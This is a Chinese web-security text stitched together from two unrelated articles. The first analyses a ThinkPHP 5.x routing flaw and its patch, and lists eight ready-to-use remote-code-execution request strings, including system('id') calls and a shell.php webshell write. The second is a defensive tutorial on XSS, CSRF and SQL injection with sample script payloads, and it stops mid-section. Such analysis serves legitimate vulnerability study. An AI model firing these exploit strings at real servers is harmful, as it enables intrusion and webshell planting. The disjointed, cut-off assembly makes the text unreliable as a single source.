0x00 介绍 ThinkPHP是一套国内流行的开源PHP MVC开发框架，其中存在3.x和5.x两个版本，目前3.x已停止维护，5.x为15年正式推出的，基本上对3.x进行了重构，针对于路由，也舍弃了默认的方式，正是因为新的路由存在缺陷，导致任意函数的调用。 0x01 知识背景 路由解析 ?s=index/index/hello tp5中路由舍弃了3.x中的?m=index&c=Index&a=hello方式，而使用一个参数s传递所有信息，s=/index/Index/hello中三部分分别代表module,controller,action。此次出现问题的部分便是controller，由于ThinkPHP中命名空间和自动加载的作用，每个类都可被访问到，即导致每个类都可被当做controller。 参数处理 <?php namespace app\index\controller; class Test {     public function index($name){         return 'Hello '+$name;     } } ?s=index/test/index&name=world 参数会自动处理，当然也可为数组，比如 ?s=index/test/index&name[0]=world&&name[1]=xx 0x02 漏洞分析 在5.1.x中函数名为parseModuleAndClass，功能一样 parseClass()函数： 正常情况下会对name进行处理，限制在app\index\controller命名空间。 这里的name即为controller，前置处理为获取到module,controller,action，将controller传入该函数处理。 当name中存在\\时，直接将name赋值到class，不再进行parseClass操作，配合自动加载的机制从而导致可为任意命名空间下的类作为controller，任意public都可被用户访问到，结合ThinkPHP5内置的一些类和方法便可造成远程命令执行。 0x03 POC thinkphp/library/think/App.php 304-320行     /**      * 执行函数或者闭包方法 支持参数调用      * @access public      * @param string|array|\Closure $function 函数或者闭包      * @param array                 $vars     变量      * @return mixed      */     public static function invokeFunction($function, $vars = [])     {         $reflect = new \ReflectionFunction($function);         $args    = self::bindParams($reflect, $vars);         // 记录执行信息         self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');         return $reflect->invokeArgs($args);     } ?s=index/think\app/invokefunction/function/call_user_func_array&vars[0]=system&vars[1][]=id ReflectionFunction为PHP中的反射类，反射调用call_user_func_array，call_user_func_array为回调函数，回调system，参数为id 已知POC(来自t00ls)： 1、?s=index/\think\Request/input&filter=phpinfo&data=1 2、?s=index/\think\Request/input&filter=system&data=id 3、?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E 4、?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E 5、?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 6、?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id 7、?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 8、?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id 0x04 漏洞补丁 该补丁为5.0.x补丁，5.1.x位置不一样，方式一样。 补丁方式为限制controller只能为字母和数字。并且放在controller处理之前。 0x05 总结 简单来说这个洞是由于用户控制了controller导致的，开发者将处理controller的代码封装到了Loader.php，并且与其他功能进行代码复用，为了满足其他功能增加的功能(即特殊处理存在\\的参数)，从而导致了漏洞。代码复用是开发者优质的习惯，但也需要严格审核是否因为书写复用代码时是否会造成漏洞。 另外，可以看到这是一个非常浅显的洞，至今没有人发现，最终由官方爆出，也许很多用户默认此开源框架“流行 == 安全”，其实很多应用并不是想象中的完全安全，漏洞经常发生在被人忽视的地方。

Web 安全的对于 Web 从业人员来说是一个非常重要的课题 , 所以在这里总结一下 Web 相关的安全攻防知识，希望以后不要再踩雷，也希望对看到这篇文章的同学有所帮助。今天这边文章主要的内容就是分析几种常见的攻击的类型以及防御的方法。 也许你对所有的安全问题都有一定的认识，但最主要的还是在编码设计的过程中时刻绷紧安全那根弦，需要反复推敲每个实现细节，安全无小事。 本文代码 Demo 都是基于 Node.js 讲解，其他服务端语言同样可以参考。 XSS 首先说下最常见的 XSS 漏洞，XSS (Cross Site Script)，跨站脚本攻击，因为缩写和 CSS (Cascading Style Sheets) 重叠，所以只能叫 XSS。 XSS 的原理是恶意攻击者往 Web 页面里插入恶意可执行网页脚本代码，当用户浏览该页之时，嵌入其中 Web 里面的脚本代码会被执行，从而可以达到攻击者盗取用户信息或其他侵犯用户安全隐私的目的。XSS 的攻击方式千变万化，但还是可以大致细分为几种类型。 非持久型 XSS 非持久型 XSS 漏洞，也叫反射型 XSS 漏洞，一般是通过给别人发送带有恶意脚本代码参数的 URL，当 URL 地址被打开时，特有的恶意代码参数被 HTML 解析、执行。 一个例子，比如你的 Web 页面中包含有以下代码： <select> <script> document.write('' + '<option value=1>' + location.href.substring(location.href.indexOf('default=') + 8) + '</option>' ); document.write('<option value=2>English</option>'); </script> </select> 攻击者可以直接通过 URL (类似：https://xx.com/xx?default=<script>alert(document.cookie)</script>) 注入可执行的脚本代码 非持久型 XSS 漏洞攻击有以下几点特征 :        1 . 即时性，不经过服务器存储，直接通过 HTTP 的 GET 和 POST 请求就能完成一次攻击，拿到用户隐私数据        2 .  攻击者需要诱骗点击        3 . 反馈率低，所以较难发现和响应修复        4 . 盗取用户敏感保密信息 为了防止出现非持久型 XSS 漏洞，需要确保这么几件事情 :        1 . Web 页面渲染的所有内容或者渲染的数据都必须来自于服务端。        2 . 尽量不要从 URL，document.referrer，document.forms 等这种 DOM API 中获取数据直接渲染。        3 . 尽量不要使用 eval, new Function()，document.write()，document.writeln()，window.setInterval()，window.setTimeout()， innerHTML，document.creteElement() 等可执行字符串的方法。        4 . 如果做不到以上几点，也必须对涉及 DOM 渲染的方法传入的字符串参数做 escape 转义。        5 . 前端渲染的时候对任何的字段都需要做 escape 转义编码。        escape 转义的目的是将一些构成 HTML 标签的元素转义，比如 <，>，空格 等，转义成 <，>，  等显示转义字符。有很多开源的工具可以协助我们做 escape 转义。 持久型 XSS        持久型 XSS 漏洞，也被称为存储型 XSS 漏洞，一般存在于 Form 表单提交等交互功能，如发帖留言，提交文本信息等，黑客利用的 XSS 漏洞，将内容经正常功能提交进入数据库持久保存，当前端页面获得后端从数据库中读出的注入代码时，恰好将其渲染执行。        主要注入页面方式和非持久型 XSS 漏洞类似，只不过持久型的不是来源于 URL，refferer，forms 等，而是来源于后端从数据库中读出来的数据。持久型 XSS 攻击不需要诱骗点击，黑客只需要在提交表单的地方完成注入即可，但是这种 XSS 攻击的成本相对还是很高。 攻击成功需要同时满足以下几个条件 :        1 . POST 请求提交表单后端没做转义直接入库。        2 . 后端从数据库中取出数据没做转义直接输出给前端。        3 . 前端拿到后端数据没做转义直接渲染成 DOM。 持久型 XSS 有以下几个特点 :        1 . 持久性，植入在数据库中        2 . 危害面广，甚至可以让用户机器变成 DDoS 攻击的肉鸡。        3 . 盗取用户敏感私密信息 为了防止持久型 XSS 漏洞，需要前后端共同努力 :        1 . 后端在入库前应该选择不相信任何前端数据，将所有的字段统一进行转义处理。        2 . 后端在输出给前端数据统一进行转义处理。        3 . 前端在渲染页面 DOM 的时候应该选择不相信任何后端数据，任何字段都需要做转义处理。 基于字符集的 XSS        其实现在很多的浏览器以及各种开源的库都专门针对了 XSS 进行转义处理，尽量默认抵御绝大多数 XSS 攻击，但是还是有很多方式可以绕过转义规则，让人防不胜防。比如「基于字符集的 XSS 攻击」就是绕过这些转义处理的一种攻击方式，比如有些 Web 页面字符集不固定，用户输入非期望字符集的字符，有时会绕过转义过滤规则。 以基于 utf-7 的 XSS 为例        utf-7 是可以将所有的 unicode 通过 7bit 来表示的一种字符集 (但现在已经从 Unicode 规格中移除)。        这个字符集为了通过 7bit 来表示所有的文字, 除去数字和一部分的符号,其它的部分将都以 base64 编码为基础的方式呈现。 <script>alert("xss")</script> 可以被解释为： +ADw-script+AD4-alert(+ACI-xss+ACI-)+ADw-/script+AD4- 可以形成「基于字符集的 XSS 攻击」的原因是由于浏览器在 meta 没有指定 charset 的时候有自动识别编码的机制，所以这类攻击通常就是发生在没有指定或者没来得及指定 meta 标签的 charset 的情况下。 所以我们有什么办法避免这种 XSS 呢 ?        1 . 记住指定 <meta charset="utf-8">        2 . XML 中不仅要指定字符集为 utf-8，而且标签要闭合        3 . 牛文推荐：http://drops.wooyun.org/papers/1327 （这个讲的很详细） 基于 Flash 的跨站 XSS        基于 Flash 的跨站 XSS 也是属于反射型 XSS 的一种，虽然现在开发 ActionScript 的产品线几乎没有了，但还是提一句吧，AS 脚本可以接受用户输入并操作 cookie，攻击者可以配合其他 XSS（持久型或者非持久型）方法将恶意 swf 文件嵌入页面中。主要是因为 AS 有时候需要和 JS 传参交互，攻击者会通过恶意的 XSS 注入篡改参数，窃取并操作cookie。 避免方法 :        1 . 严格管理 cookie 的读写权限        2 . 对 Flash 能接受用户输入的参数进行过滤 escape 转义处理 未经验证的跳转 XSS        有一些场景是后端需要对一个传进来的待跳转的 URL 参数进行一个 302 跳转，可能其中会带有一些用户的敏感（cookie）信息。如果服务器端做302 跳转，跳转的地址来自用户的输入，攻击者可以输入一个恶意的跳转地址来执行脚本。 这时候需要通过以下方式来防止这类漏洞 :        1 . 对待跳转的 URL 参数做白名单或者某种规则过滤        2 . 后端注意对敏感信息的保护, 比如 cookie 使用来源验证。 CSRF： CSRF（Cross-Site Request Forgery），中文名称：跨站请求伪造攻击        那么 CSRF 到底能够干嘛呢？你可以这样简单的理解：攻击者可以盗用你的登陆信息，以你的身份模拟发送各种请求。攻击者只要借助少许的社会工程学的诡计，例如通过 QQ 等聊天软件发送的链接(有些还伪装成短域名，用户无法分辨)，攻击者就能迫使 Web 应用的用户去执行攻击者预设的操作。例如，当用户登录网络银行去查看其存款余额，在他没有退出时，就点击了一个 QQ 好友发来的链接，那么该用户银行帐户中的资金就有可能被转移到攻击者指定的帐户中。        所以遇到 CSRF 攻击时，将对终端用户的数据和操作指令构成严重的威胁。当受攻击的终端用户具有管理员帐户的时候，CSRF 攻击将危及整个 Web 应用程序。 CSRF 原理 下图大概描述了 CSRF 攻击的原理，可以理解为有一个小偷在你配钥匙的地方得到了你家的钥匙，然后拿着要是去你家想偷什么偷什么。 CSRF 攻击必须要有三个条件 :        1 . 用户已经登录了站点 A，并在本地记录了 cookie        2 . 在用户没有登出站点 A 的情况下（也就是 cookie 生效的情况下），访问了恶意攻击者提供的引诱危险站点 B (B 站点要求访问站点A)。        3 . 站点 A 没有做任何 CSRF 防御 你也许会问：「如果我不满足以上三个条件中的任意一个，就不会受到 CSRF 的攻击」。其实可以这么说的，但你不能保证以下情况不会发生 :        1 . 你不能保证你登录了一个网站后，不再打开一个 tab 页面并访问另外的网站，特别现在浏览器都是支持多 tab 的。        2 . 你不能保证你关闭浏览器了后，你本地的 cookie 立刻过期，你上次的会话已经结束。        3 . 上图中所谓的攻击网站 B，可能是一个存在其他漏洞的可信任的经常被人访问的网站。 预防 CSRF        CSRF 的防御可以从服务端和客户端两方面着手，防御效果是从服务端着手效果比较好，现在一般的 CSRF 防御也都在服务端进行。服务端的预防 CSRF  攻击的方式方法有多种，但思路上都是差不多的，主要从以下两个方面入手 :        1 . 正确使用 GET，POST 请求和 cookie        2 . 在非 GET 请求中增加 token 一般而言，普通的 Web 应用都是以 GET、POST 请求为主，还有一种请求是 cookie 方式。我们一般都是按照如下规则设计应用的请求：        1 . GET 请求常用在查看，列举，展示等不需要改变资源属性的时候（数据库 query 查询的时候）        2 . POST 请求常用在 From 表单提交，改变一个资源的属性或者做其他一些事情的时候（数据库有 insert、update、delete 的时候） 当正确的使用了 GET 和 POST 请求之后，剩下的就是在非 GET 方式的请求中增加随机数，这个大概有三种方式来进行：        1 .  为每个用户生成一个唯一的 cookie token，所有表单都包含同一个伪随机值，这种方案最简单，因为攻击者不能获得第三方的 cookie(理论上)，所 以表单中的数据也就构造失败，但是由于用户的 cookie 很容易由于网站的 XSS 漏洞而被盗取，所以这个方案必须要在没有 XSS 的情况下才安全。        2 . 每个 POST 请求使用验证码，这个方案算是比较完美的，但是需要用户多次输入验证码，用户体验比较差，所以不适合在业务中大量运用。        3 . 渲染表单的时候，为每一个表单包含一个 csrfToken，提交表单的时候，带上 csrfToken，然后在后端做 csrfToken 验证。        CSRF 的防御可以根据应用场景的不同自行选择。CSRF 的防御工作确实会在正常业务逻辑的基础上带来很多额外的开发量，但是这种工作量是值得的， 毕竟用户隐私以及财产安全是产品最基础的根本。 SQL 注入： SQL 注入漏洞（SQL Injection）是 Web 开发中最常见的一种安全漏洞。可以用它来从数据库获取敏感信息，或者利用数据库的特性执行添加用户，导出文件 等一系列恶意操作，甚至有可能获取数据库乃至系统用户最高权限。        而造成 SQL 注入的原因是因为程序没有有效的转义过滤用户的输入，使攻击者成功的向服务器提交恶意的 SQL 查询代码，程序在接收后错误的将攻击 者的输入作为查询语句的一部分执行，导致原始的查询逻辑被改变，额外的执行了攻击者精心构造的恶意代码。        很多 Web 开发者没有意识到 SQL 查询是可以被篡改的，从而把 SQL 查询当作可信任的命令。殊不知，SQL 查询是可以绕开访问控制，从而绕过身份 验证和权限检查的。更有甚者，有可能通过 SQL 查询去运行主机系统级的命令。